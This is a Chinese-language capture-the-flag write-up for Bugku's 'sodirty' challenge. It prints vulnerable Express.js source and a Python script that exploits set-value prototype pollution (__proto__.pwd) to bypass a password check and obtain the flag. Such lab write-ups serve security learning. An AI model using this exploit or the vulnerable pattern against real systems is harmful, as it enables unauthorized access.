bugku-sodirty

打開題目

 

 

發現只有一個注冊的跳轉鏈接

點擊試試

 

 查看一下源代碼

也沒有發現

fuzz一下看看有沒有備份文件

找到了www.zip的備份文件

下載下來看看

 

 打開index.js得到源代碼

發現set-value，判斷存在js原型鏈污染

對於js原型鏈污染，下面這篇講的挺詳細的

https://blog.csdn.net/weixin_45551083/article/details/109589386

var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
    "password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登錄失敗");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老頭子壞滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密碼錯誤，請使用管理員用戶名登錄.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用戶創建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登錄</title><h1>前端被炒了<br><br><br><a href="./reg">注冊</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("傳參有誤");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});

module.exports = router;

通過代碼可以發現

路由"/getflag"是用來獲取到flag，但存在驗證，首先需要傳參兩個參數key和password，並且對用戶字典中的age進行判斷，大於79會失敗

然后Admin[key]需要等於password，其中passwod為我們控制的 而Admin[key] 我們不知道

因為age是一個已經存在的變量，所以可以用post傳參去覆蓋

data={"attrkey":"age","attrval":"20"}
update(url,data)

而既然是原型鏈污染，就可以直接poc自定義一個password了

poc地址：http://114.67.246.176:15688/

借用一下別人的腳本，自己不是很會寫腳本。。

import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session() #保持同一個會話
def reg(url):
    url=url+"reg"
    r=s.get(url)
    print(r.text)

def update(url,data):
    url=url+"update"
    print(url)
    r=s.post(url,data=data)
    print(r.text)
def getflag(url,data):
    url=url+"getflag"
    r=s.post(url,data=data)
    print(r.text)

url="http://114.67.246.176:15688/"
reg(url)
data={"attrkey":"age","attrval":"20"}
update(url,data)
data={"attrkey":"__proto__.pwd","attrval":"123"}
update(url,data)
data={"password":"123","key":"pwd"}
getflag(url,data)

跑一下，成功得到flag